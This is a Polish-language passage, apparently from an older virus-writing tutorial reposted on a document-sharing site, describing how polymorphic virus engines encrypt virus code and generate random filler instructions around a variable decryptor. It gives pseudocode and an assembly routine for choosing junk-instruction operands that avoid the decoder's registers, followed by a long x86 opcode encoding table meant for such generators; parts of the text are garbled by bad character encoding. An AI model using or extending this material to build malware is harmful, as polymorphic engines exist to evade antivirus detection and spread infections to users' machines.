Aby przyspieszyć wykonywanie procedury dekodującej, często szyfruje się cały kod wirusa jakąś stałą procedurą, a dopiero ta jest roz-kodowywana za pomocą zmiennej procedury deszyfrującej, której wystarcza na rozkodowanie kilkakrotne wykonanie pętli dekodera. Innym sposobem może być tu całkowite pominięcie pętli i stworzenie kodu, który wygeneruje właściwą, stałą procedurę dekodująca w locie, budując odpowiednie jej instrukcje z odpowiednich fragmentów rozrzuconych po kodzie.

Poniżej zebrano informacje o wszystkich znanych instrukcjach procesorów 80x86 (kierując się ich przydatnością do wykorzystania w generatorze).

Lista nie zawiera rozkazów koprocesora, rozkazów systemowych oraz instrukcji wykorzystywanych przez języki wysokiego poziomu

(nie są one wykorzystywane przez generatory polimorficzne). Oprócz kodów instrukcji podano opis sposobu zapisywania adresów za pomocą bajtu MmRejMem (286+) i SIB (386+).

Informacje podane poniżej dotyczą działania instrukcji w trybie rzeczywistym procesora, a więc adresowania segmentów o rozmiarze maksymalnym 64k. W przypadku trybu chronionego i segmentów większych niż 64k (najczęściej 4G, czyli model FLAT) należy wziąć pod uwagę, iż działanie przedrostków 66 i 67 ma w nich odmienne znaczenie. Na przykład, jeżeli chcemy wygenerować rozkaz zerowania rejestru AX (MOV AX/0), należy dla segmentu zadeklarowanego z dyrektywą USE16 umieścić w buforze ciąg B8, 00, 00, zaś dla segmentu zadeklarowanego z dyrektywą USE32 użyć sekwencji 66, B8, OO, 00. Chcąc natomiast zerować rejestr EAX (MOV EAX/0), należy dla segmentu USE16 użyć sekwencji 66, B8, 00, 00, 00, 00, a dla segmentu USE32 - B8, 00, 00, 00, 00. Jak widać, przedrostki 66 i 67 służą do wymuszania trybu interpretowania instrukcji, odmiennego od tego którego używa procesor w danym trybie. W trybie rzeczywistym wymusza on instrukcje 32-bitowe, w chronionym zaś 16-bitowe.

Ze względu na to, iż instrukcje często zawierają argumenty w postaci kilku bitów umieszczonych w różnych miejscach, wszystkie kody instrukcji zawarte poniżej występują jako liczby binarne.

Działanie procedury generującej wypełniacz może wyglądać mniej więcej tak:

N:=LiczbaPseudolosowa

For I:=1 to N do GenerujInstrukcjΩ

Liczba N określa, ile instrukcji zostanie wygenerowanych podczas jednego wywołania procedury.

Procedura GenerujInstrukcję powinna wybrać (np. z tablicy) pierwszy bajt instrukcji i zapisać ją do bufora, a następnie, o ile to konieczne, dodać wymagane operandy. Podczas wybierania argumentów instrukcji należy sprawdzać czy wylosowany, przypadkowy argument nie koliduje w jakiś sposób z używanymi przez dekoder rejestrami. Jeżeli tak jest, procedurę wybierania argumentu należy kontynuować, aż do znalezienia odpowiedniego argumentu. Procedura GenerujInstrukcję powinna wyglądać mniej więcej tak (zapisana w pseudojęzyku, trochę podobnym do Pascala):

procedurΩ GenerujInstrukcjΩ;

X:=LiczbaPseudolosowa wybieraj╣ca generowana instrukcjΩ sprawdƒ atrybuty instrukcji wskazywanej przez X

if s╣ jakie£ operandy then

dla ka┐dego operandu begin

repeat

arg:=Pseudolosowa

if arg nie koliduje z zasobami dekodera to argument znaleziony

untii argument znaleziony lub furtka bezpiecze±stwa

wstaw operand=arg end else wstaw instrukcjΩ bez operand≤w;

end;

Załóżmy, iż dla dekodera zostały wybrane:

[Mem, czΩ£µ bajtu MrnRejMem, w tym przypadku [BX+SI] }

Indeks:= 000 ;

Licznik:= 001 ;

IndeksModyf1:= 110 ; [numer rejstru SI}

IndeksModyf2:= 011 ; (numer rejestru BX}

Niech procedura GenerujInstrukcje wybierze teraz do wstawienia np. rozkaz DEC, który w tabeli jest zapisany jako:

01001Rej DEC rejestr Rej.

Jak widać, instrukcja ta posiada parametr Rej, w tym przypadku rejestr 16 - lub 32 - bitowy. Załóżmy, iż rejestr jest 16-bitowy. Zapisana w asemblerze sekwencja szukająca operandu dla instrukcji powinna wyglądać mniej więcej tak:

SzukajArgumentu:

MOV AX,7

Call RandomAX ; weƒ liczbΩ z przedzia│u 000111

; liczba w AL (bo AH-0)

cmp AL,IndeksModyfl ; czy rejestr zajΩty przez

; pierwsza czΩ£µ indeksu ?

je SzukajArgumentu

cmp AL, IndeksModyf2 ; czy rejestr zajΩty przez

; druga czΩ£µ indeksu ?

je SzukajArgumentu

cmp AL, Licznik ; czy rejestr zajΩty przez licznik ?

je SzukajArgumentu

cmp AL,100b ; czy rejestr to SP ?

je SzukajArgumentu

; argument znaleziony i jest w AL

; AL=00000arg - argument na trzech

; m│odszych bitach

or al, 01001000b ; zsumuj logicznie z 5 bitami kodu

; operacj i DEC

stosb ; zapisz ca│a instrukcjΩ DEC arg do bufora

Postępując w podobny sposób można rozszerzyć generator o wszystkie możliwe do wykorzystania, opisane dalej instrukcje.

W opisie instrukcji przyjęto następujące oznaczenia:

Rej - określa rejestr biorący udział w operacji; rodzaj rejestru (8-, 16-, czy 32-bitowy) jest określany na podstawie bitu D (jeżeli ten istnieje w instrukcji) oraz w zależności od tego, czy przed instrukcją wystą-pił przedrostek 66. Jeżeli D=0, to rejestr jest 8-bitowy; jeżeli przedrostek nie wystąpił i D=0, to 16-bitowy, w innym wypadku jest on 32-bitowy. Wartości przypisane poszczególnym rejestrom są następujące:

Rej

8-bitowe

AL.

CL

DL

BL

AH

CH 

DH

BH

16-bitowe

AX

CX

DX

BX

SP

BP

SI

DI

32-bitowe

EAX

ECX

EDX

EBX

ESP

EBP

ESI

EDI

Mem - określa adres w pamięci, na którym wykonywana jest operacja; sposób adresowania zależy od obecności przedrostka 67 oraz od pola struktury MmRejMem, będącej drugim bajtem instrukcji. W zależności od zawartości pola Mm zmienia się wielkość offsetu dodawanego do odpowiednich rejestrów (08 - ofset 8 bitowy, 016 - 16 bitowy, 032 - 32 bitowy).

Jeżeli nie wystąpił przedrostek 67, to używany jest następujący sposób adresowania (16 - bitowy, Seg oznacza domyślny segment adresujący dane, jeżeli przed instrukcja nie wystąpił przedrostek innego segmentu):

Mem

Seg/Mm

11 - operacja na rejestrze o numerze Mam, a nie na pamieci

DS

[BX+SI]

[BX+SI+O8]

[BX+SI+O16]

DS

[BX+DI]

[BX+DI+O8]

[BX+DI+O16]

SS

[BP+SI]

[BP+SI+O8]

[BP+SI+O16]

SS

[BP+DI]

[BP+DI+O8]

[BP+DI+O16]

DS

[SI]

[SI+O8]

[SI+O16]

DS

[DI]

[DI+O8]

[DI+O16]

DS/SS

DS:[O16]

SS:[BP+O8]

SS:[BP+O16]

DS

[BX]

[BX+O8]

[BX+O16]

Jeżeli wystąpił przedrostek 67, to używany jest następujący sposób adresowania (32-bitowy):

Mem

Seg/Mm

11-operacja na rejestrze o numerze Mem, a nie na pamięci

DS

[EAX]

[EAX+O8}

[EAX+O32]

DS

[ECX]

[ECX+O8]

[ECX+O32]

DS

[EDX]

[EDX+O8]

[EDX+O32]

DS

[EBX]

[EBX+O8]

[EBX+O32]

[SIB]

[SIB+O8]

[SIB+O32]

DS/SS

DS:[O32]

SS:[EBP+O8]

SS:[EBP+O32]

DS

[ESI]

[ESI+O8]

[ESI+O32]

DS

[EDI]

[EDI+O8]

[EDI+O32]

Użyty w tabeli skrót SIB (ang. Scale Index Base) oznacza rozszerzony sposób adresowania, w którym ułatwiony jest m.in. dostęp do tablic. Bajt opisujący pola SIB występuje zaraz po bajcie MmRejMem. Sposób obliczania przez procesor adresu zawartego w SIB jest następujący:

Adres SIB:=Baza+Indeks*(2^N), gdzie

> baza opisywana jest przez bity 7-5 bajtu SIB;

> indeks opisywany jest przez bity 4-2 bajtu SIB;

> liczba N opisywana przez bity 1-0 bajtu SIB (tak więc jedyna możliwość to mnożenie indeksu przez 2^00=1, 2^01=2, 2^10=4 2^11=8).

Poniższa tabela zawiera wartości, które może przyjmować Baza.

Baza

Seg/Mm

DS

EAX

EAX

DS

ECX

ECX

DS

EBX

EBX

DS

EDX

EDX

SS

ESP

ESP

DS/SS

DS:O32

SS:EBP

DS

ESI

ESI

DS

EDI

EDI

Poniższa tabela zawiera wartości, które może przyjmować Indeks.

Index

Rejestr

EAX

ECX

EBX

EDX

EBP

ESI

EDI

Sg - opisuje rodzaj segmentu użytego w operacji.

Możliwe wartości Sg to: 00=ES, 01=CS, 10=SS, 11=DS

Seg - rozszerzone Sg (uwzględnia FS i GS).

Możliwe wartości Seg to: 000=ES, 001=CS, 010=SS, 011-DS, 100=FS, 101-GS

Wwww - określa różne warunki występujące w skokach lub rozkazach SRTxxxx i może przyjmować wartości przedstawione w poniższej tabeli:

Wartość Warunek

O - overflow

NO - not overflow

C-carry

NC-notcarry

Z-zero

NZ-not zero

NA-notabove

A-above

S-sign

NS-notsign

P-parity

NP-notparity

L-less

NL-not less

NG-notgreat

G-great

Ope - używane przez niektóre instrukcje do określania operacji matematycznej lub logicznej, którą ma instrukcja wykonać.

Ope

Opis

ADD

OR

ADC

SBB

AND

SUB

XOR

CMP

Op2 - tworzy podgrupę operacji wykonywanych przez instrukcje o bajcie początkowym =82/83 (jest to zrnniejszona lista Ope).

Ope2

Opis

ADD

ADC

SBB

SUB

CMP

Op3 - opisuje grupę instrukcji o pierwszym kodzic=F6/F7.

Ope

Opis

TEST

NOT

NEG

MUL

IMUL

DIV

IDIV

Op4 - opisuje instrukcje z pierwszym bajtem =FE,

Ope

Opis

INC

DEC

Op5 - opisuje instrukcje z pierwszym bajtem =FF.

Ope

Opis

INC

DEC

CALL NEAR

CALL FAR

JMP NEAR

JMP FAR

PUSH

Ops - opisuje różne rodzaje przesunięć.

Ope

Opis

ROL

ROR

RCL

RCR

SHL

SHR

SAL

SAR

Akumulator - oznacza rejestr AL, AX lub EAX; rodzaj rejestru wybierany jest na podstawie bitu D (jeżeli ten jest w instrukcji) oraz obecności przedrostka 66.

Wartkom8 - oznacza bajt określający liczbę będącą operandem instrukcji.

WartkomD - oznacza bajt, słowo lub dwusłowo (zależnie od bitu D i przedrostka 66) określające liczbę będącą operandem instrukcji.

Reladre8 - określa relatywny offset (z zakresu -128..+127), który dodawany jest do wskaźnika instrukcji IP po wykonaniu np. skoku lub procedury.

ReladreD - określa relatywny offset, który dodawany jest do wskaźnika instrukcji IP po wykonaniu np: skoku, procedury (rodzaj ofsetu: 16- czy 32- bitowy określany jest na podstawie obecności przedrostka 66).

Numport8 - określa numer portu (8 bitów), na którym wykonuje się operację IN lub OUT.

Addroffs i Addrsegm - określają segment i offset, pod który skacze procesor po wykonaniu dalekiej procedury lub dalekiego skoku.

bit D - określa rodzaj operandu: bajt, słowo lub dwusłowo;

- jeżeli nie wystąpił przedrostek 66 i D=0: bajt,

- jeżeli nie wystąpił przedrostek 66 i D=1: słowo,

- jeżeli wystąpił przedrostek 66 i D=1: podwójne słowo.

bit S - określa kierunek przesyłania danych podczas wykonywania instrukcji zawierających bajt MmRejMem; S=0 Operacja Mem, Rej i S=1 Operacja Rej, Mem.

bit F - ustawiony, oznacza, iż jest to RETF, w przeciwnym razie RETN.

Jeżeli mnemonik instrukcji zmienia się przy użyciu przedrostka 66 lub bitu D, kolejne nazwy są oddzielone przecinkiem.

Kody Instrukcji

Kod instrukcji (binarnie) Mnemonik

00001111 1000Wwww Reladr16 JWwww Reladr16

00001111 1001Wwww MmRejMem SETWwww byte ptr [Mem]

PUSH FS

POP FS

CPUID

00001111 10100011 MmRejMem BTMem,Rej

00001111 10100100 MmRejMem Wartkom8 SHLD Mem,Wartkom8

00001111 10100101 MmRejMem SHLD Mem,Rej,CL

00001111 1010011D MmRejMem CMPXCHG Mem,Rej

PUSH GS

POP GS

00001111 10101011 MmRejMem BTS Mem,Rej

00001111 10101100 MmRejMem Wartkom8 SHRD Mem,Wartkom8

00001111 10101101 MmRejMem SHRD Mem,Rej,CL

00001111 10101111 MmRejMem IMUL Rej,Mem

00001111 10110010 MmRejMem LSS Rej,Mem

00001111 10110011 MmRejMem BTS Mem,Rej

00001111 10110100 MmRejMem LFS Rej,Mem

00001111 10110101 MmRejMem LGS Rej,Mem

00001111 10110110 MmRejMem MOVZX Rej,Mem

00001111 10110111 MmR32Mem MOVZX R32,Mem

00001111 10111011 MmRejMem BTC Mem,Rej

00001111 10111100 MmRejMem BSF Mem,Rej

00001111 10111101 MmRejMem BSR Mem,Rej

00001111 10111110 MmRejMem MOVSX Rej,Mem

00001111 10111111 MmR32Mem MOVSX R32,Mem

00001111 1100000D MmRejMem XADD Mem,Rej

00001111 11000111 Mm001Mem CMPXCHG8B mem

00001111 11001r32 BSWAP r32

00001111 11011010 Mm100Mem Wartkom8 BT Mem,Wartkom8

00001111 11011010 Mm101Mem Wartkom8 BTS Mem,Wartkom8

00001111 11011010 Mm110Mem Wartkom8 BTR Mem,Wartkom8

00001111 11011010 Mm111Mem Wartkom8 BTC Mem,Wartkom8

000Sg110 PUSH rejestr segmentowy Sg

000Sg111 POP rejestr segmentowy Sg, Sg<>01,

bo 00001111= rozszerzene instrukcje (w 8086

by│a to instrukcja POP CS)

DAA

DAS

AAA

AAS

001Sg110 przedrostek segmentu Sg

000pe0SD MmRejMem S=0,Ope Mem,Rej, S=1 Ope Reg,Mem

000pe10D WartkomD Ope Akumulator,WartkomD

01000Rej INC rejestr Rej

01001Rej DEC rejestr Rej

01010Rej PUSH rejestr Rej

01011Rej POP rejestr Rej

PUSHA

POPA

FS:

GS:

przedrostek instrukcji 386+ (dane 32-bitowe)

przedrostek instrukcji 386+ (operandy 32-

bitowe)

01101000 WartkomD PUSH WartkomD

0110100D MmRejMem WartkomD IMUL Rej,WartkomD,Mem

01101010 Wartkom8 PUSH Wartkom8

0110110D INSB, INSW, INSWD

0110111D OUTSB, OUTSW, OUTSD

0111wwww Reladre8 JWwww Reiadre8

1000000D MmOpeMem WartkomD Ope Mem,WartkomD

1000001D MmOp2Mem Wartkom8 Op2 Mem, Integer (Wartkom8)

1000010D MmRejMem TEST Mem,Rej

1000011D MmRejMem XCHG Mem,rej

100010SD MmRejMem S=0, MOV Mem,Rej, S=1 MOV Reg,Mem

10001101 MmRejMem LEA Rej,Mem

10001111 Mm000Mem POP Mem

100011S0 MmSegMem S=0 MOV Mem,Seg, S=1 MOV Seg, Mem

10010Rej XCHG rejestr Rej

CBW/CWDE

CWD/CDQ

10011010 Addroffs Addrsegm CALL FAR Addrsegm:Addroffs

wait

PUSHF/PUSHFD

POPF/POPFD

SAHF

LAHF

101000SD WartkomD S=0 MOV Akumutator,[WartkomD] ; S=1 MOV [WartkomD],Akumulator

1010010D MOVSB,MOVSW, MOVSD

1010011D CMPSB, CMPSW, CMPSD

1010100D WartkomD TEST Akumulator,WartkomD

1010101D STOSB, STOSW, STOSD

1010110D LODSB, LODSW, LODSD

1010111D SCASB, SCASW, SCASD

1011DRej WarkomD MOV Rej,WartkomD

1100000D MmOpsMem Wartkom8 Ops Mem,Wartkom8

11000100 MmRejMem LES Rej,Mem

11000101 MmRejMem LDS Rej,Mem

1100011D Mm000Mem WarkomD MOV Mem,WartkomD

INT3

11001101 Wartkom8 INT Wartkom8

INTO

IRET

1100F010 WartkomF RET WartkomF

1100F011 RET N/F

1101000D MmOpsMem Ops Mem,1

1101001D MmOpsMem Ops Mem,CL

SETALC

XLAT

11100000 Reladre8 LOOPNZ Reladre8

11100001 Reladre8 LOOPZ Reiadre8

11100010 Reladre8 LOOP Reladre8

11100011 Reladre8 JCXZ/JECXZ Reladre8

11100100 Wartkom8 AAM Wartkom8, zwykle Wartkom8=10

11100101 Wartkom8 AAD Wartkom8, zwykle Wartkom8=10

1110010D Numport8 IN Akumulator,Numport8

1110011D Numport8 OUT Numport8,Akumulator

11101000 Reladr16 CALLNEAR Reladr16

11101001 Reladr16 JMP NEAR Reladr16

11101010 Addroffs Addrsegm JMP FAR Addrsegm:Addroffs

11101011 Reladre8 JMP SHORT Reladre8

1110110D IN Akumulator, DX

1110111D OUT DX,Akumulator

LOCK

REPNZ

REP, REPZ

CMC

1111011D Mm000Mem WartkomD TEST Mem,Wartkom8

1111011D MmOp3Mem Op3 Mem

CLC

STC

CLI

STI

CLD

STD

11111110 MmOp4Mem Op4 Mem

11111111 MmOp5Mem Op5 Mem



Politica de confidentialitate | Termeni si conditii de utilizare



DISTRIBUIE DOCUMENTUL

Comentarii


Vizualizari: 602
Importanta: rank

Comenteaza documentul:

Te rugam sa te autentifici sau sa iti faci cont pentru a putea comenta

Creaza cont nou

Termeni si conditii de utilizare | Contact
© SCRIGROUP 2024 . All rights reserved